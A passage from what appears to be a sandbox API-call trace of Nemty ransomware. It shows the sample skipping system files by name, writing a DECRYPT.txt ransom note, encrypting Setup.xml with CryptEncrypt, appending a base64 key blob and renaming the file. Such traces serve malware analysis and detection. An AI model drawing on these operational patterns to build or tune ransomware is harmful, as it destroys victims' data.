out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.055] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0048.055] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.055] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.055] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.055] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.056] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0054-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0054-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0054-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0048.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0054-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0054-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0054-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.059] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.059] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.060] CloseHandle (hObject=0x3c4) returned 1 [0048.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.061] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.062] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.062] CloseHandle (hObject=0x3c4) returned 1 [0048.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.063] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd05717f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd05717f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.063] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.063] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd05717f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd05717f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.063] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.063] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.063] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.063] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.064] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0048.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.064] Sleep (dwMilliseconds=0x5) [0048.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd05bdab0, dwHighDateTime=0x1d561e7)) [0048.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd05bdab0, dwHighDateTime=0x1d561e7)) [0048.077] GetLastError () returned 0xb7 [0048.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.077] GetLastError () returned 0xb7 [0048.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.078] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.078] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.078] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="hEq4t3Rn2Zmjf3YZ6K9nBxewn8g1EQ1Ptt2WXMNKHlNIXphk0zZCrQclOmcGogIT\r\nZ0LaQKTjs/V7oaj9nQ6nnkWeERjZKa24QJwR25r9AOu3SfKg2xlm0+OPvvaur3ZG\r\n2TI75XsQKyS2Buxw2y58/kqmBQcUBOcl4OTMZZcqrQD2e10cyS7Ou4DoTtyYY0VX\r\nXjl23pB02JCspkp96S6E3/rEn7fpuELPZxj4wQL2mJUvTMiEJ+4ZGqd00oBkXLj6\r\nZQKh7F6pPPzmsr1MPmYxu+xIIgCfIbR7bEd07ZbgTOg1ojjlJxD/NGDTtDEO6e5S\r\nr/ff0rgTl8C21u9avH7JCA==\r\n", pcchString=0x653ef9c) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.093] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=6241) returned 1 [0048.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1860) returned 0x6346d48 [0048.093] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.093] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x1860, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x1860, lpOverlapped=0x0) returned 1 [0048.095] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.095] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x1860, lpOverlapped=0x0) returned 1 [0048.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.096] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=6241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1861 [0048.096] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.096] CloseHandle (hObject=0x3c8) returned 1 [0048.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.097] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.097] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, 